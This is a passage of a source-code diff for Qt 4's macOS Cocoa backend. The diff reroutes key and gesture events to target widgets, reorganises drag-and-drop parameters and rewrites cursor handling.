qt_sendSpontaneousEvent(qwidget, &qNGEvent); + qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent); #endif // QT_NO_GESTURES } - (void)endGestureWithEvent:(NSEvent *)event; { - if (!QApplicationPrivate::tryModalHelper(qwidget, 0)) + QPoint qlocal, qglobal; + QWidget *widgetToGetGesture = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture); + if (!widgetToGetGesture) + return; + if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0)) return; #ifndef QT_NO_GESTURES @@ -1079,9 +705,9 @@ static int qCocoaViewCount = 0; qNGEvent.gestureType = QNativeGestureEvent::GestureEnd; NSPoint p = [[event window] convertBaseToScreen:[event locationInWindow]]; qNGEvent.position = flipPoint(p).toPoint(); - qt_sendSpontaneousEvent(qwidget, &qNGEvent); -#endif // QT_NO_GESTURES + qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent); } +#endif // QT_NO_GESTURES - (void)frameDidChange:(NSNotification *)note { @@ -1124,16 +750,32 @@ static int qCocoaViewCount = 0; { if (!qwidget) return NO; - // disabled widget shouldn't get focus even if it's a window. + + // Disabled widget shouldn't get focus even if it's a window. // hence disabled windows will not get any key or mouse events. if (!qwidget->isEnabled()) return NO; - // Before accepting the focus for a window, we check that - // the focusWidget (if any) is not contained in the same window. - if (qwidget->isWindow() && !qt_widget_private(qwidget)->topData()->embedded - && (!qApp->focusWidget() || qApp->focusWidget()->window() != qwidget)) { - return YES; // Always do it, so that windows can accept key press events. + + if (qwidget->isWindow() && !qt_widget_private(qwidget)->topData()->embedded) { + QWidget *focusWidget = qApp->focusWidget(); + if (!focusWidget) { + // There is no focus widget, but we still want to receive key events + // for shortcut handling etc. So we accept first responer for the + // content view as a last resort: + return YES; + } + if (!focusWidget->internalWinId() && focusWidget->nativeParentWidget() == qwidget) { + // The current focus widget is alien, and hence, cannot get acceptsFirstResponder + // calls. Since the focus widget is a child of qwidget, we let this view say YES: + return YES; + } + if (focusWidget->window() != qwidget) { + // The current focus widget is in another window. Since cocoa + // suggest that this window should be key now, we accept: + return YES; + } } + return qwidget->focusPolicy() != Qt::NoFocus; } @@ -1141,10 +783,13 @@ static int qCocoaViewCount = 0; { if (!qwidget) return NO; + // Seems like the following test only triggers if this // view is inside a QMacNativeWidget: - if (qwidget == QApplication::focusWidget()) - qwidget->clearFocus(); +// if (QWidget *fw = QApplication::focusWidget()) { +// if (qwidget == fw || qwidget == fw->nativeParentWidget()) +// fw->clearFocus(); +// } return YES; } @@ -1173,11 +818,11 @@ static int qCocoaViewCount = 0; { Q_UNUSED(anImage); Q_UNUSED(aPoint); - qMacDnDParams()->performedAction = operation; + macCurrentDnDParameters()->performedAction = operation; if (QDragManager::self()->object && QDragManager::self()->dragPrivate()->executed_action != Qt::ActionMask) { - qMacDnDParams()->performedAction = - qt_mac_mapDropAction(QDragManager::self()->dragPrivate()->executed_action); + macCurrentDnDParameters()->performedAction = + qt_mac_mapDropAction(QDragManager::self()->dragPrivate()->executed_action); } } @@ -1192,51 +837,37 @@ static int qCocoaViewCount = 0; qwidgetprivate = 0; } -- (BOOL)qt_leftButtonIsRightButton -{ - return leftButtonIsRightButton; -} - -- (void)qt_setLeftButtonIsRightButton:(BOOL)isSwapped -{ - leftButtonIsRightButton = isSwapped; -} - -+ (DnDParams*)currentMouseEvent -{ - return qMacDnDParams(); -} - - (void)keyDown:(NSEvent *)theEvent { - sendKeyEvents = true; - - QWidget *widgetToGetKey = qwidget; + if (!qwidget) + return; + QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget); + if (!widgetToGetKey) + return; - QWidget *popup = qAppInstance()->activePopupWidget(); - bool sendToPopup = false; - if (popup && popup != qwidget->window()) { - widgetToGetKey = popup->focusWidget() ? popup->focusWidget() : popup; - sendToPopup = true; - } + sendKeyEvents = true; if (widgetToGetKey->testAttribute(Qt::WA_InputMethodEnabled) && !(widgetToGetKey->inputMethodHints() & Qt::ImhDigitsOnly || widgetToGetKey->inputMethodHints() & Qt::ImhFormattedNumbersOnly || widgetToGetKey->inputMethodHints() & Qt::ImhHiddenText)) { fromKeyDownEvent = true; - [qt_mac_nativeview_for(widgetToGetKey) interpretKeyEvents:[NSArray arrayWithObject: theEvent]]; + [qt_mac_nativeview_for(qwidget) interpretKeyEvents:[NSArray arrayWithObject: theEvent]]; fromKeyDownEvent = false; } + if (sendKeyEvents && !composing) { - bool keyOK = qt_dispatchKeyEvent(theEvent, widgetToGetKey); - if (!keyOK && !sendToPopup) { - // find the first responder that is not created by Qt and forward - // the event to it (for example if Qt widget is embedded into native). + bool keyEventEaten = qt_dispatchKeyEvent(theEvent, widgetToGetKey); + if (!keyEventEaten && qwidget) { + // The event is not yet eaten, and if Qt is embedded inside a native + // cocoa application, send it to first responder not owned by Qt. + // The exception is if widgetToGetKey was redirected to a popup. QWidget *toplevel = qwidget->window(); - if (toplevel && qt_widget_private(toplevel)->topData()->embedded) { - if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview]) - [w keyDown:theEvent]; + if (toplevel == widgetToGetKey->window()) { + if (qt_widget_private(toplevel)->topData()->embedded) { + if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview]) + [w keyDown:theEvent]; + } } } } @@ -1246,12 +877,21 @@ static int qCocoaViewCount = 0; - (void)keyUp:(NSEvent *)theEvent { if (sendKeyEvents) { - bool keyOK = qt_dispatchKeyEvent(theEvent, qwidget); - if (!keyOK) { + QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget); + if (!widgetToGetKey) + return; + + bool keyEventEaten = qt_dispatchKeyEvent(theEvent, widgetToGetKey); + if (!keyEventEaten && qwidget) { + // The event is not yet eaten, and if Qt is embedded inside a native + // cocoa application, send it to first responder not owned by Qt. + // The exception is if widgetToGetKey was redirected to a popup. QWidget *toplevel = qwidget->window(); - if (toplevel && qt_widget_private(toplevel)->topData()->embedded) { - if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview]) - [w keyUp:theEvent]; + if (toplevel == widgetToGetKey->window()) { + if (qt_widget_private(toplevel)->topData()->embedded) { + if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview]) + [w keyUp:theEvent]; + } } } } @@ -1299,13 +939,14 @@ static int qCocoaViewCount = 0; // When entering characters through Character Viewer or Keyboard Viewer, the text is passed // through this insertText method. Since we dont receive a keyDown Event in such cases, the // composing flag will be false. - if (([aString length] && composing) || !fromKeyDownEvent) { + if (([aString length] && composing) || !fromKeyDownEvent) { // Send the commit string to the widget. composing = false; sendKeyEvents = false; QInputMethodEvent e; e.setCommitString(commitText); - qt_sendSpontaneousEvent(qwidget, &e); + if (QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget)) + qt_sendSpontaneousEvent(widgetToGetKey, &e); } else { // The key sequence "`q" on a French Keyboard will generate two calls to insertText before // it returns from interpretKeyEvents. The first call will turn off 'composing' and accept @@ -1369,8 +1010,11 @@ static int qCocoaViewCount = 0; 0, composingLength, format); } *composingText = qtText; + QInputMethodEvent e(qtText, attrs); - qt_sendSpontaneousEvent(qwidget, &e); + if (QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget)) + qt_sendSpontaneousEvent(widgetToGetKey, &e); + if (!composingLength) composing = false; } @@ -1380,7 +1024,8 @@ static int qCocoaViewCount = 0; if (composing) { QInputMethodEvent e; e.setCommitString(*composingText); - qt_sendSpontaneousEvent(qwidget, &e); + if (QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget)) + qt_sendSpontaneousEvent(widgetToGetKey, &e); } composingText->clear(); composing = false; @@ -1453,8 +1098,12 @@ static int qCocoaViewCount = 0; { Q_UNUSED(theRange); // The returned rect is always based on the internal cursor. - QRect mr(qwidget->inputMethodQuery(Qt::ImMicroFocus).toRect()); - QPoint mp(qwidget->mapToGlobal(QPoint(mr.bottomLeft()))); + QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget); + if (!widgetToGetKey) + return NSZeroRect; + + QRect mr(widgetToGetKey->inputMethodQuery(Qt::ImMicroFocus).toRect()); + QPoint mp(widgetToGetKey->mapToGlobal(QPoint(mr.bottomLeft()))); NSRect rect ; rect.origin.x = mp.x(); rect.origin.y = flipYCoordinate(mp.y()); @@ -1472,10 +1121,11 @@ static int qCocoaViewCount = 0; - (NSArray*) validAttributesForMarkedText { - if (qwidget == 0) + QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget); + if (!widgetToGetKey) return nil; - if (!qwidget->testAttribute(Qt::WA_InputMethodEnabled)) + if (!widgetToGetKey->testAttribute(Qt::WA_InputMethodEnabled)) return nil; // Not sure if that's correct, but it's saves a malloc. // Support only underline color/style. @@ -1489,7 +1139,7 @@ void QMacInputContext::reset() { QWidget *w = QInputContext::focusWidget(); if (w) { - NSView *view = qt_mac_nativeview_for(w); + NSView *view = qt_mac_effectiveview_for(w); if ([view isKindOfClass:[QT_MANGLE_NAMESPACE(QCocoaView) class]]) { QMacCocoaAutoReleasePool pool; QT_MANGLE_NAMESPACE(QCocoaView) *qc = static_cast(view); @@ -1506,7 +1156,7 @@ bool QMacInputContext::isComposing() const { QWidget *w = QInputContext::focusWidget(); if (w) { - NSView *view = qt_mac_nativeview_for(w); + NSView *view = qt_mac_effectiveview_for(w); if ([view isKindOfClass:[QT_MANGLE_NAMESPACE(QCocoaView) class]]) { return [static_cast(view) isComposing]; } @@ -1599,39 +1249,45 @@ Qt::DropAction QDragManager::drag(QDrag *o) } else { hotspot = dragPrivate()->hotspot; } - // convert the image to NSImage. + + // Convert the image to NSImage: NSImage *image = (NSImage *)qt_mac_create_nsimage(pix); [image retain]; - DnDParams dndParams = *[QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]; - // save supported actions - [dndParams.view setSupportedActions: qt_mac_mapDropActions(dragPrivate()->possible_actions)]; - NSPoint imageLoc = {dndParams.localPoint.x - hotspot.x(), - dndParams.localPoint.y + pix.height() - hotspot.y()}; + + DnDParams *dndParams = macCurrentDnDParameters(); + QT_MANGLE_NAMESPACE(QCocoaView) *theView = static_cast(dndParams->view); + + // Save supported actions: + [theView setSupportedActions: qt_mac_mapDropActions(dragPrivate()->possible_actions)]; + QPoint pointInView = [theView qt_qwidget]->mapFromGlobal(dndParams->globalPoint); + NSPoint imageLoc = {pointInView.x() - hotspot.x(), pointInView.y() + pix.height() - hotspot.y()}; NSSize mouseOffset = {0.0, 0.0}; NSPasteboard *pboard = [NSPasteboard pasteboardWithName:NSDragPboard]; - NSPoint windowPoint = [dndParams.theEvent locationInWindow]; dragPrivate()->executed_action = Qt::ActionMask; - // do the drag - [dndParams.view retain]; - [dndParams.view dragImage:image - at:imageLoc - offset:mouseOffset - event:dndParams.theEvent - pasteboard:pboard - source:dndParams.view - slideBack:YES]; - // reset the implicit grab widget when drag ends because we will not - // receive the mouse release event when DND is active. + + // Execute the drag: + [theView retain]; + [theView dragImage:image + at:imageLoc + offset:mouseOffset + event:dndParams->theEvent + pasteboard:pboard + source:theView + slideBack:YES]; + + // Reset the implicit grab widget when drag ends because we will not + // receive the mouse release event when DND is active: qt_button_down = 0; - [dndParams.view release]; + [theView release]; [image release]; if (dragPrivate()) dragPrivate()->executed_action = Qt::IgnoreAction; object = 0; - Qt::DropAction performedAction(qt_mac_mapNSDragOperation(qMacDnDParams()->performedAction)); - // do post drag processing, if required. - if(performedAction != Qt::IgnoreAction) { - // check if the receiver points us to a file location. + Qt::DropAction performedAction(qt_mac_mapNSDragOperation(dndParams->performedAction)); + + // Do post drag processing, if required. + if (performedAction != Qt::IgnoreAction) { + // Check if the receiver points us to a file location. // if so, we need to do the file copy/move ourselves. QCFType pasteLocation = 0; PasteboardCopyPasteLocation(dragBoard.pasteBoard(), &pasteLocation); @@ -1648,6 +1304,8 @@ Qt::DropAction QDragManager::drag(QDrag *o) } } } + + // Clean-up: o->setMimeData(0); o->deleteLater(); return performedAction; diff --git a/src/gui/kernel/qcocoaview_mac_p.h b/src/gui/kernel/qcocoaview_mac_p.h index 511423357..2443129 100644 --- a/src/gui/kernel/qcocoaview_mac_p.h +++ b/src/gui/kernel/qcocoaview_mac_p.h @@ -58,57 +58,29 @@ QT_FORWARD_DECLARE_CLASS(QWidgetPrivate); QT_FORWARD_DECLARE_CLASS(QWidget); QT_FORWARD_DECLARE_CLASS(QEvent); -QT_FORWARD_DECLARE_CLASS(QCocoaDropData); QT_FORWARD_DECLARE_CLASS(QString); QT_FORWARD_DECLARE_CLASS(QStringList); -QT_BEGIN_NAMESPACE -struct DnDParams -{ - QT_MANGLE_NAMESPACE(QCocoaView) *view; - NSEvent *theEvent; - NSPoint localPoint; - NSDragOperation performedAction; - NSPoint activeDragEnterPos; -}; - -QT_END_NAMESPACE - -QT_FORWARD_DECLARE_STRUCT(DnDParams); - Q_GUI_EXPORT @interface QT_MANGLE_NAMESPACE(QCocoaView) : NSControl { QWidget *qwidget; QWidgetPrivate *qwidgetprivate; - bool leftButtonIsRightButton; - QCocoaDropData *dropData; NSDragOperation supportedActions; bool composing; int composingLength; bool sendKeyEvents; bool fromKeyDownEvent; QString *composingText; - NSInteger dragEnterSequence; } - (id)initWithQWidget:(QWidget *)widget widgetPrivate:(QWidgetPrivate *)widgetprivate; - (void) finishInitWithQWidget:(QWidget *)widget widgetPrivate:(QWidgetPrivate *)widgetprivate; - (void)frameDidChange:(NSNotification *)note; -- (NSDragOperation)draggingEntered:(id )sender; -- (NSDragOperation)draggingUpdated:(id < NSDraggingInfo >)sender; -- (void)draggingExited:(id < NSDraggingInfo >)sender; -- (BOOL)performDragOperation:(id )sender; -- (void)removeDropData; -- (void)addDropData:(id )sender; - (void)setSupportedActions:(NSDragOperation)actions; - (NSDragOperation)draggingSourceOperationMaskForLocal:(BOOL)isLocal; - (void)draggedImage:(NSImage *)anImage endedAt:(NSPoint)aPoint operation:(NSDragOperation)operation; - (BOOL)isComposing; - (QWidget *)qt_qwidget; - (void) qt_clearQWidget; -- (BOOL)qt_leftButtonIsRightButton; -- (void)qt_setLeftButtonIsRightButton:(BOOL)isSwapped; -- (void)changeDraggingCursor:(NSDragOperation)newOperation; -+ (DnDParams*)currentMouseEvent; @end #endif diff --git a/src/gui/kernel/qcocoawindow_mac.mm b/src/gui/kernel/qcocoawindow_mac.mm index f1b642b..a4ab224 100644 --- a/src/gui/kernel/qcocoawindow_mac.mm +++ b/src/gui/kernel/qcocoawindow_mac.mm @@ -47,6 +47,8 @@ #import #import #import +#import +#import #include diff --git a/src/gui/kernel/qcocoawindow_mac_p.h b/src/gui/kernel/qcocoawindow_mac_p.h index 21f82df..028b809 100644 --- a/src/gui/kernel/qcocoawindow_mac_p.h +++ b/src/gui/kernel/qcocoawindow_mac_p.h @@ -50,17 +50,20 @@ // We mean it. // +#ifndef QCOCOAWINDOW_MAC_P +#define QCOCOAWINDOW_MAC_P + #ifdef QT_MAC_USE_COCOA #include "qmacdefines_mac.h" #import #include #include - enum { QtMacCustomizeWindow = 1 << 21 }; // This will one day be run over by QT_FORWARD_DECLARE_CLASS(QWidget); QT_FORWARD_DECLARE_CLASS(QStringList); +QT_FORWARD_DECLARE_CLASS(QCocoaDropData); @interface NSWindow (QtCoverForHackWithCategory) + (Class)frameViewClassForStyleMask:(NSUInteger)styleMask; @@ -72,13 +75,16 @@ QT_FORWARD_DECLARE_CLASS(QStringList); @end @interface QT_MANGLE_NAMESPACE(QCocoaWindow) : NSWindow { - bool leftButtonIsRightButton; QStringList *currentCustomDragTypes; + QCocoaDropData *dropData; + NSInteger dragEnterSequence; } + (Class)frameViewClassForStyleMask:(NSUInteger)styleMask; - (void)registerDragTypes; +- (void)drawRectOriginal:(NSRect)rect; @end #endif +#endif diff --git a/src/gui/kernel/qcursor.h b/src/gui/kernel/qcursor.h index 62d2f41..9d22b7c 100644 --- a/src/gui/kernel/qcursor.h +++ b/src/gui/kernel/qcursor.h @@ -77,7 +77,7 @@ class QBitmap; class QPixmap; #if defined(Q_WS_MAC) -void qt_mac_set_cursor(const QCursor *c, const QPoint &p); +void qt_mac_set_cursor(const QCursor *c); #endif #if defined(Q_OS_SYMBIAN) extern void qt_symbian_show_pointer_sprite(); @@ -141,7 +141,8 @@ private: QCursorData *d; #if defined(Q_WS_MAC) friend void *qt_mac_nsCursorForQCursor(const QCursor &c); - friend void qt_mac_set_cursor(const QCursor *c, const QPoint &p); + friend void qt_mac_set_cursor(const QCursor *c); + friend void qt_mac_updateCursorWithWidgetUnderMouse(QWidget *widgetUnderMouse); #endif #if defined(Q_OS_SYMBIAN) friend void qt_symbian_show_pointer_sprite(); diff --git a/src/gui/kernel/qcursor_mac.mm b/src/gui/kernel/qcursor_mac.mm index c3d6c54..cebe789 100644 --- a/src/gui/kernel/qcursor_mac.mm +++ b/src/gui/kernel/qcursor_mac.mm @@ -50,6 +50,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE @@ -60,6 +61,7 @@ extern QCursorData *qt_cursorTable[Qt::LastCursor + 1]; extern OSWindowRef qt_mac_window_for(const QWidget *); //qwidget_mac.cpp extern GrafPtr qt_mac_qd_context(const QPaintDevice *); //qpaintdevice_mac.cpp extern bool qt_sendSpontaneousEvent(QObject *, QEvent *); //qapplication_mac.cpp +extern QPointer qt_button_down; //qapplication_mac.cpp /***************************************************************************** Internal QCursorData class @@ -95,18 +97,19 @@ protected: } }; -void *qt_mac_nsCursorForQCursor(const QCursor &c) +inline void *qt_mac_nsCursorForQCursor(const QCursor &c) { c.d->update(); return [[static_cast(c.d->curs.cp.nscursor) retain] autorelease]; } static QCursorData *currentCursor = 0; //current cursor -void qt_mac_set_cursor(const QCursor *c, const QPoint &) + +void qt_mac_set_cursor(const QCursor *c) { #ifdef QT_MAC_USE_COCOA - Q_UNUSED(c); - return; + QMacCocoaAutoReleasePool pool; + [static_cast(qt_mac_nsCursorForQCursor(*c)) set]; #else if (!c) { currentCursor = 0; @@ -128,35 +131,122 @@ void qt_mac_set_cursor(const QCursor *c, const QPoint &) c->d->curs.tc.anim->start(c->d->curs.tc.curs); } } + currentCursor = c->d; #endif } -void qt_mac_update_cursor_at_global_pos(const QPoint &globalPos) +static QPointer lastWidgetUnderMouse = 0; +static QPointer lastMouseCursorWidget = 0; +static bool qt_button_down_on_prev_call = false; +static QCursor *grabCursor = 0; + +void qt_mac_updateCursorWithWidgetUnderMouse(QWidget *widgetUnderMouse) { -#ifdef QT_MAC_USE_COCOA - Q_UNUSED(globalPos); - return; -#else QCursor cursor(Qt::ArrowCursor); + if (qt_button_down) { + // The widget that is currently pressed + // grabs the mouse cursor: + widgetUnderMouse = qt_button_down; + qt_button_down_on_prev_call = true; + } else if (qt_button_down_on_prev_call) { + // Grab has been released, so do + // a full check: + qt_button_down_on_prev_call = false; + lastWidgetUnderMouse = 0; + lastMouseCursorWidget = 0; + } + if (QApplication::overrideCursor()) { cursor = *QApplication::overrideCursor(); - } else { - for(QWidget *w = QApplication::widgetAt(globalPos); w; w = w->parentWidget()) { - if(w->testAttribute(Qt::WA_SetCursor)) { - cursor = w->cursor(); - break; + } else if (grabCursor) { + cursor = *grabCursor; + } else if (widgetUnderMouse) { + if (widgetUnderMouse == lastWidgetUnderMouse) { + // Optimization that should hit when the widget under + // the mouse does not change as the mouse moves: + if (lastMouseCursorWidget) + cursor = lastMouseCursorWidget->cursor(); + } else { + QWidget *w = widgetUnderMouse; + for (; w; w = w->parentWidget()) { + if (w->testAttribute(Qt::WA_SetCursor)) { + cursor = w->cursor(); + break; + } + if (w->isWindow()) + break; } + // One final check in case we ran out of parents in the loop: + if (w && !w->testAttribute(Qt::WA_SetCursor)) + w = 0; + + lastWidgetUnderMouse = widgetUnderMouse; + lastMouseCursorWidget = w; } } - qt_mac_set_cursor(&cursor, globalPos); + +#ifdef QT_MAC_USE_COCOA + cursor.d->update(); + NSCursor *nsCursor = static_cast(cursor.d->curs.cp.nscursor); + if ([NSCursor currentCursor] != nsCursor) { + QMacCocoaAutoReleasePool pool; + [nsCursor set]; + } +#else + qt_mac_set_cursor(&cursor); #endif } void qt_mac_update_cursor() { - qt_mac_update_cursor_at_global_pos(QCursor::pos()); + // This function is similar to qt_mac_updateCursorWithWidgetUnderMouse + // except that is clears the optimization cache, and finds the widget + // under mouse itself. Clearing the cache is useful in cases where the + // application has been deactivated/activated etc. + // NB: since we dont have any true native widget, the call to + // qt_mac_getTargetForMouseEvent will fail when the mouse is over QMacNativeWidgets. +#ifdef QT_MAC_USE_COCOA + lastWidgetUnderMouse = 0; + lastMouseCursorWidget = 0; + QWidget *widgetUnderMouse = 0; + + if (qt_button_down) { + widgetUnderMouse = qt_button_down; + } else { + QPoint localPoint; + QPoint globalPoint = QCursor::pos(); + qt_mac_getTargetForMouseEvent(0, QEvent::None, localPoint, globalPoint, 0, &widgetUnderMouse); + } + qt_mac_updateCursorWithWidgetUnderMouse(widgetUnderMouse); +#else + qt_mac_updateCursorWithWidgetUnderMouse(QApplication::widgetAt(QCursor::pos())); +#endif +} + +void qt_mac_setMouseGrabCursor(bool set, QCursor *const cursor = 0) +{ + if (grabCursor) { + delete grabCursor; + grabCursor = 0; + } + if (set) { + if (cursor) + grabCursor = new QCursor(*cursor); + else if (lastMouseCursorWidget) + grabCursor = new QCursor(lastMouseCursorWidget->cursor()); + else + grabCursor = new QCursor(Qt::ArrowCursor); + } + qt_mac_update_cursor(); +} + +#ifndef QT_MAC_USE_COCOA +void qt_mac_update_cursor_at_global_pos(const QPoint &globalPos) +{ + qt_mac_updateCursorWithWidgetUnderMouse(QApplication::widgetAt(globalPos)); } +#endif static int nextCursorId = Qt::BitmapCursor; @@ -427,7 +517,8 @@ void QCursorData::update() break; case Qt::DragCopyCursor: type = QCursorData::TYPE_ThemeCursor; - curs.cp.nscursor = [NSCursor dragCopyCursor]; + if ([NSCursor respondsToSelector:@selector(dragCopyCursor)]) + curs.cp.nscursor = [NSCursor performSelector:@selector(dragCopyCursor)]; break; case Qt::DragMoveCursor: type = QCursorData::TYPE_ThemeCursor; @@ -435,7 +526,8 @@ void QCursorData::update() break; case Qt::DragLinkCursor: type = QCursorData::TYPE_ThemeCursor; - curs.cp.nscursor = [NSCursor dragLinkCursor]; + if ([NSCursor respondsToSelector:@selector(dragLinkCursor)]) + curs.cp.nscursor = [NSCursor performSelector:@selector(dragLinkCursor)]; break; #define QT_USE_APPROXIMATE_CURSORS #ifdef QT_USE_APPROXIMATE_CURSORS diff --git a/src/gui/kernel/qdnd_mac.mm b/src/gui/kernel/qdnd_mac.mm index 844f5e3..6f43fb6 100644 --- a/src/gui/kernel/qdnd_mac.mm +++ b/src/gui/kernel/qdnd_mac.mm @@ -491,7 +491,7 @@ bool QWidgetPrivate::qt_mac_dnd_event(uint kind, DragRef dragRef) SetThemeCursor(cursor); } if(found_cursor) { - qt_mac_set_cursor(0, QPoint()); //just use our's + qt_mac_set_cursor(0); //just use our's } else { QCursor cursor(Qt::ArrowCursor); if(qApp && qApp->overrideCursor()) { @@ -504,7 +504,7 @@ bool QWidgetPrivate::qt_mac_dnd_event(uint kind, DragRef dragRef) } } } - qt_mac_set_cursor(&cursor, QPoint(mouse.h, mouse.v)); + qt_mac_set_cursor(&cursor); } //idle things diff --git a/src/gui/kernel/qt_cocoa_helpers_mac.mm b/src/gui/kernel/qt_cocoa_helpers_mac.mm index 48d21e9..7a4af8f 100644 --- a/src/gui/kernel/qt_cocoa_helpers_mac.mm +++ b/src/gui/kernel/qt_cocoa_helpers_mac.mm @@ -89,9 +89,14 @@ #include #include #include +#include QT_BEGIN_NAMESPACE +// Cmd + left mousebutton should produce a right button +// press (mainly for mac users with one-button mice): +static bool qt_leftButtonIsRightButton = false; + Q_GLOBAL_STATIC(QMacWindowFader, macwindowFader); QMacWindowFader::QMacWindowFader() @@ -141,6 +146,9 @@ void QMacWindowFader::performFade() extern bool qt_sendSpontaneousEvent(QObject *receiver, QEvent *event); // qapplication.cpp; extern QWidget * mac_mouse_grabber; extern QWidget *qt_button_down; //qapplication_mac.cpp +extern QPointer qt_last_mouse_receiver; +extern OSViewRef qt_mac_effectiveview_for(const QWidget *w); +extern void qt_mac_updateCursorWithWidgetUnderMouse(QWidget *widgetUnderMouse); // qcursor_mac.mm void macWindowFade(void * /*OSWindowRef*/ window, float durationSeconds) { @@ -167,6 +175,70 @@ void macWindowFade(void * /*OSWindowRef*/ window, float durationSeconds) } } } +struct dndenum_mapper +{ + NSDragOperation mac_code; + Qt::DropAction qt_code; + bool Qt2Mac; +}; + +#ifdef QT_MAC_USE_COCOA && __OBJC__ + +static dndenum_mapper dnd_enums[] = { + { NSDragOperationLink, Qt::LinkAction, true }, + { NSDragOperationMove, Qt::MoveAction, true }, + { NSDragOperationCopy, Qt::CopyAction, true }, + { NSDragOperationGeneric, Qt::CopyAction, false }, + { NSDragOperationEvery, Qt::ActionMask, false }, + { NSDragOperationNone, Qt::IgnoreAction, false } +}; + +NSDragOperation qt_mac_mapDropAction(Qt::DropAction action) +{ + for (int i=0; dnd_enums[i].qt_code; i++) { + if (dnd_enums[i].Qt2Mac && (action & dnd_enums[i].qt_code)) { + return dnd_enums[i].mac_code; + } + } + return NSDragOperationNone; +} + +NSDragOperation qt_mac_mapDropActions(Qt::DropActions actions) +{ + NSDragOperation nsActions = NSDragOperationNone; + for (int i=0; dnd_enums[i].qt_code; i++) { + if (dnd_enums[i].Qt2Mac && (actions & dnd_enums[i].qt_code)) + nsActions |= dnd_enums[i].mac_code; + } + return nsActions; +} + +Qt::DropAction qt_mac_mapNSDragOperation(NSDragOperation nsActions) +{ + Qt::DropAction action = Qt::IgnoreAction; + for (int i=0; dnd_enums[i].mac_code; i++) { + if (nsActions & dnd_enums[i].mac_code) + return dnd_enums[i].qt_code; + } + return action; +} + +Qt::DropActions qt_mac_mapNSDragOperations(NSDragOperation nsActions) +{ + Qt::DropActions actions = Qt::IgnoreAction; + for (int i=0; dnd_enums[i].mac_code; i++) { + if (nsActions & dnd_enums[i].mac_code) + actions |= dnd_enums[i].qt_code; + } + return actions; +} + +Q_GLOBAL_STATIC(DnDParams, currentDnDParameters); +DnDParams *macCurrentDnDParameters() +{ + return currentDnDParameters(); +} +#endif bool macWindowIsTextured( void * /*OSWindowRef*/ window ) { @@ -301,7 +373,7 @@ bool qt_mac_checkForNativeSizeGrip(const QWidget *widget) HIViewFindByID(HIViewGetRoot(HIViewGetWindow(HIViewRef(widget->winId()))), kHIViewWindowGrowBoxID, &nativeSizeGrip); return (nativeSizeGrip != 0); #else - return [[reinterpret_cast(widget->winId()) window] showsResizeIndicator]; + return [[reinterpret_cast(widget->effectiveWinId()) window] showsResizeIndicator]; #endif } struct qt_mac_enum_mapper @@ -517,8 +589,12 @@ static const KeyPair entries[NumEntries] = { { NSNewlineCharacter, Qt::Key_Return }, { NSCarriageReturnCharacter, Qt::Key_Return }, { NSBackTabCharacter, Qt::Key_Backtab }, - { NSDeleteCharacter, Qt::Key_Delete }, { kEscapeCharCode, Qt::Key_Escape }, + // Cocoa sends us delete when pressing backspace! + // (NB when we reverse this list in qtKey2CocoaKey, there + // will be two indices of Qt::Key_Backspace. But is seems to work + // ok for menu shortcuts (which uses that function): + { NSDeleteCharacter, Qt::Key_Backspace }, { NSUpArrowFunctionKey, Qt::Key_Up }, { NSDownArrowFunctionKey, Qt::Key_Down }, { NSLeftArrowFunctionKey, Qt::Key_Left }, @@ -731,7 +807,6 @@ Qt::MouseButton cocoaButton2QtButton(NSInteger buttonNum) return Qt::NoButton; } -// Helper to share code between QCocoaWindow and QCocoaView bool qt_dispatchKeyEvent(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEvent) { #ifndef QT_MAC_USE_COCOA @@ -743,6 +818,7 @@ bool qt_dispatchKeyEvent(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEve EventRef key_event = static_cast(const_cast([event eventRef])); Q_ASSERT(key_event); unsigned int info = 0; + if ([event type] == NSKeyDown) { NSString *characters = [event characters]; if ([characters length]) { @@ -752,19 +828,12 @@ bool qt_dispatchKeyEvent(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEve } } - // Redirect keys to alien widgets. - if (widgetToGetEvent->testAttribute(Qt::WA_NativeWindow) == false) { - widgetToGetEvent = qApp->focusWidget(); - } - - if (widgetToGetEvent == 0) - return false; - if (qt_mac_sendMacEventToWidget(widgetToGetEvent, key_event)) return true; if (mustUseCocoaKeyEvent()) return qt_dispatchKeyEventWithCocoa(keyEvent, widgetToGetEvent); + bool consumed = qt_keymapper_private()->translateKeyEvent(widgetToGetEvent, 0, key_event, &info, true); return consumed && (info != 0); #endif @@ -788,7 +857,6 @@ void qt_dispatchModifiersChanged(void * /*NSEvent * */flagsChangedEvent, QWidget #endif } - QPointF flipPoint(const NSPoint &p) { return QPointF(p.x, flipYCoordinate(p.y)); @@ -804,21 +872,15 @@ NSPoint flipPoint(const QPointF &p) return NSMakePoint(p.x(), flipYCoordinate(p.y())); } -void qt_mac_dispatchNCMouseMessage(void * /* NSWindow* */eventWindow, void * /* NSEvent* */mouseEvent, - QWidget *widgetToGetEvent, bool &leftButtonIsRightButton) +#if QT_MAC_USE_COCOA && __OBJC__ + +void qt_mac_handleNonClientAreaMouseEvent(NSWindow *window, NSEvent *event) { -#ifndef QT_MAC_USE_COCOA - Q_UNUSED(eventWindow); - Q_UNUSED(mouseEvent); - Q_UNUSED(widgetToGetEvent); - Q_UNUSED(leftButtonIsRightButton); -#else + QWidget *widgetToGetEvent = [window QT_MANGLE_NAMESPACE(qt_qwidget)]; if (widgetToGetEvent == 0) return; - NSWindow *window = static_cast(eventWindow); - NSEvent *event = static_cast(mouseEvent); - NSEventType 